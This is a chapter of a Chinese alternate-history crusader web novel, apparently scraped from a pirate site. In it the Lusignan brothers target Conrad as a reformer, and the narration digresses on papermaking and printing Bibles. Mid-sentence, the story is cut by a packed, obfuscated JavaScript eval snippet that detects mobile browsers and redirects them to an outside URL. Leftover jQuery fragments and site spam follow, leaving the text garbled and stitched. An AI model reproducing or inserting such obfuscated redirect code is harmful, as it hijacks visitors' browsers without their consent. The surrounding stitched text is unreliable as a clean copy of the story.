第273章 康拉德:锅从天降

作品:《天王天兄十字军

    第273章 康拉德:锅从天降


    同子嗣困难的耶路撒冷历代王室不同,吕西尼昂家族有一个其他家族难以比拟的优势——多子多孙。


    居伊本人就有四个女儿,而居伊的兄弟加起来足有六位之多。


    而且这七兄弟,还都是同一个母亲生育,仅一位没有活到成年。


    放在中世纪的卫生状况下,这已经堪称奇迹了。


    在如此众多亲兄弟的帮衬下,不论是在法国还是在耶路撒冷,都可谓“打虎亲兄弟,上阵父子兵”。


    既然已经树立目标,无论如何也要保住耶路撒冷的王位,那么就需要制定出周密的计划,从而攥夺胜利果实。


    在原先的历史上,吕西尼昂家族便一步又一步的走向了成功,建立起了吕西尼昂王朝。


    从居伊加冕于1186年开始算起,前后两次吕西尼昂王朝,绵延至1472年eu时代都开始了,其积累的头衔之广,不只是在法国与耶路撒冷、还取得了塞浦路斯、亚美尼亚乃至于安条克……


    当然,这一切本该发生的事,或许再也不会出现了。


    “所以,除去巴利安和盖里斯外,康拉德也值得注意?”


    “是的。”


    吕西尼昂几兄弟,在商议开始后就取出了笔和纸,记录起耶路撒冷王国中所有需要注意的人。


    其中巴利安一派重要的人物,需要清理的对象,都被整理出来。


    除去伊莎贝拉与盖里斯之外,就赫然还有着康拉德。


    相比起居伊,杰弗里的密谋能力要强上许多,在经过仔细梳理后,就发现有些问题。


    耶路撒冷王国的体制,有些过于完善了,不像是一个经历了战争的残破王国。


    甚至于比之法国,都更加的整齐、更加的清晰、更加的集权。


    这一整套的议会体系,加上王国中央部门的各司其职,就有着一种不合乎封建体制的美。


    而在欧洲,能够做到这种程度的,使用官僚群体进行治国的,其实只有少数几个国家。


    教宗国毋庸置疑是一个,东罗马帝国也算是一个,威尼斯共和国其实也算一个。


    至于神圣罗马帝国,虽然在霍亨斯陶芬王朝的影响下,虽然已经诞生帝国议会,可以讨论法律、外交和军事事务,但与那三个比起来还是差上许多。


    这年头的神罗帝国议会,本质上还是贵族领主与教会主教们的协商机构。


    盖里斯是什么人?一个出生在黎凡特的土包子罢了,有着一手装神弄鬼的技术就罢了,哪里见识过大场面。


    如此一来,在巴利安的派系中,出生自北意大利与威尼斯有密切联系,与教宗结盟曾击败巴巴罗萨远征,又在东帝国平定过贵族叛乱,乃至于取得了凯撒头衔的康拉德,就格外显眼了起来。


    意大利人、与威尼斯熟悉、曾经充当过教宗的盟友,还是东帝国的“凯撒”。


    这可是一下子,就和欧洲三个官僚体制最为健全的国家全部牵扯上了。


    相比起盖里斯的履历,康拉德的生平就明朗许多,而且更加的耀眼。


    如果说巴利安派系中,谁最可能引导着耶路撒冷王国进行改革,那么就必然是“凯撒”康拉德!


    改革这件事本身并没有什么不好,但改革的力量在显著的增强巴利安派系,等到巴利安离世之后,伊莎贝拉他们继续把持着官僚群体,那该怎么办?


    初来乍到的杰弗里其实并不清楚,第二王国的官僚体系究竟是怎么诞生的,也不清楚在官僚之后还有着教团。


    他只是一味的认为是康拉德使得提尔这边发生了天翻地覆的变化。


    因此该如何解决康拉德,就需要提上议程了。


    ……


    康拉德并不清楚自己被盯上了,这哪能想到呢?


    他只是充当意大利人的代表,在耶路撒冷王国这边混日子,便锅从天降,莫名其妙成了杰弗里眼中的耶路撒冷改革者。


    当然,这其实严格来说,也不算有错。


    只是他的地位和重要性,并没有杰弗里想的那么关键。


    康拉德与他的父亲威廉五世,确实很深入的参与进了第二王国的变革之中。


    威廉五世本人,以74岁之高龄担任了君临议会的上议院议长,且不多提。


    康拉德本人由于其见多识广,以及对商业的熟悉程度,也亲自参与进了某些事业的兴办。


    盖里斯试着通过康拉德,推进更高效的造纸,然后希望对方能够,通过自己的人脉协助王国建立一套在欧洲的分销体系,尤其是分销即将开始印刷的《圣经。


    造纸这件事,不论什么地区国家民族,基本上都是公认源自天朝。


    其中在8世纪时期,造纸术传到了伊斯兰世界,巴格达的工匠们对造纸工艺进行了一定的改进,使得中东地区也能够大批量的生产纸张。


    这为阿拉伯文化迈向辉煌时代,垫下基石。


    但印刷术的历史,却要一波三折,在更晚些日子,才西传成功。


    确切说直到蒙古西征,才使得印刷术传向西方,但也并未快速普及,反倒是要到古腾堡活字印刷开始,才有了大规模出现的迹象。


    也就是说,对于这个年代的第二王国而言,纸的问题相对好解决,印刷术的问题,才是需要投入人力研发,需要培养新的技工,来构建全新的行业。


    而且,这个行业的前景,其实相当的不明朗。


    并不是说这个时代的书籍不够昂贵之类,恰恰相反,实质是这个时代的欧洲,既缺乏买书的需求,也缺乏能买起书的人口。


    拿基督教的经典《圣经来说,在古腾堡印刷机开工前,圣经通常用上等的羊皮纸制作。


    一部完整的圣经需要300600张羊皮纸,相当于50100只羊的皮。


    抄写圣经的抄经士,平均下来一年起步才能完成一部完整的圣经。


    这样一份圣经,再加上精美的皮革封面、镀金饰品和复杂的图像,价格在300金第纳尔左右,甚至更高。


    寻常的教堂都难以负担起全套的圣经,仅有主教、乃至于大贵族家庭才会拥有。


    但除去贵族和教士群体,就整个欧洲而言,也只有意大利地区还有君士坦丁堡,可能稍微富裕,有着相对更多的富裕商人群体,尝试来购买。


    至于更下层的人,买圣经干嘛?


    能拿来吃吗?有什么用吗?能改变贫苦的生活吗?


    就算识字了又如何?难不成识字就能改变阶层吗?


    就算印刷术,能将高昂的书籍价格打压下去,对于一贫如洗的欧洲穷人而言,那也没有什么意义。更何况,哪怕是欧洲的古腾堡印刷机开工后,一套相对精良的《圣经其实也价值30金佛罗林。


    真正的赤贫者,是无法负担起任何知识价格的。


    但反过来说,意大利地区、威尼斯人、君士坦丁堡,又或者现如今开始富裕起来的第二王国


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936958|160729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    确确实实,开始诞生一批拥有能力钱追求精神享受的人群了。


    哪怕不多,其实也是可以试一试的。


    盖里斯在提尔的时候,就曾与巴利安提过这方面的事,希望对方能够找到一些值得信赖的能工巧匠,攻关这方面技术。


    并且可能要在相当长时间里,对印刷机的制造工艺采取保密的姿态,从而为盖里斯宗争取到时间。


    从宗教角度来说,大批量印刷《圣经,其实是宗教改革的必要前置条件。


    一方面在于,只有当《圣经的数量多到足以让中间阶层群体接触到,中间阶层的教士或市民才能够提出唯独圣经】这条改革纲领,并且将之落实。


    否则的话,从未接触过《圣经的群体,根本无从谈起利用《圣经权威反驳罗马教廷这件事。


    请...您....收藏6191书1吧六\\\九\\\书\\\吧!


    只会是那些实质上拥有圣经的主教群体,借助对《圣经的垄断,愈发权威而腐朽并我行我素。


    这也是为何15世纪胡斯派教义,虽然有宗教改革意愿,但却并未大规模泛滥,也并未明确提出唯独圣经】的原因之一。


    而且,按照盖里斯某些未曾明确透露的意思来说,大规模印刷《圣经亦或《古兰经,实质上也是一次掺私货的机会。


    当应刷机技术成熟的时候,实质上也是又一次汇编圣经的时机。


    只要盖里斯版的《圣经亦或《古兰经数量,能铺货到比其他教派更多,那么谁才是正统呢?


    这个时机的把控,就需要有所准备。


    前期的技术储备可以由教团独自进行,但后续的商品分销,却离不开地中海上的那些商贸城邦。


    自然也需要康拉德来作为中间人。


    经过这么一年的试验与制作,提尔的活字印刷技术,差不多算是成熟了。


    同天朝不同,印刷术在蒙古西征中传入西方后,并没有显著的铺开。


    对于雕版印刷技术,无论是中东阿拉伯文明又或者基督教文明,都多少有些水土不服,仅在相对狭小的范围里采用。


    直到活字印刷技术被古腾堡采纳并且改进之后,才爆发出难以想象的火。


    这其中的原因,其实也很直白:汉字太多,字母足够少。


    因此,盖里斯给教团的建议便在于跳过雕版印刷,直接采用金属活字印刷。


    这项技术说复杂,实则也是一点都不简单。


    对于教团下属的铁匠们来说,这都了近一年的功夫,才算是按照盖里斯留下的方案摸索出来一个勉强能用的版本。


    螺旋压印机,倒没什么复杂的,就是采用了葡萄酒榨汁的螺旋压机原理,是现成的技术。


    可油墨配方,还有活字的制造过程,才是费尽心思。


    后世的古腾堡开发了一种适合印刷的油基油墨,主要由植物油、松香和碳黑混合而成。这种油墨比传统的水基墨更黏稠,能均匀地附着在金属活字表面。


    盖里斯并不了解这种油墨到底是怎么回事,虽然知道大概的成分,但显然他自己是没空去进行还原的。


    而活字方面,更是如此。


    15世纪欧洲印刷机,相较于天朝的活字印刷技术,所出现一个革新是在材料学上的。


    古腾堡熟悉金属知识,曾经生产过大量的金属镜,也是第一个采用铅、锡和锑的合金制造活字的专业工匠。


    这种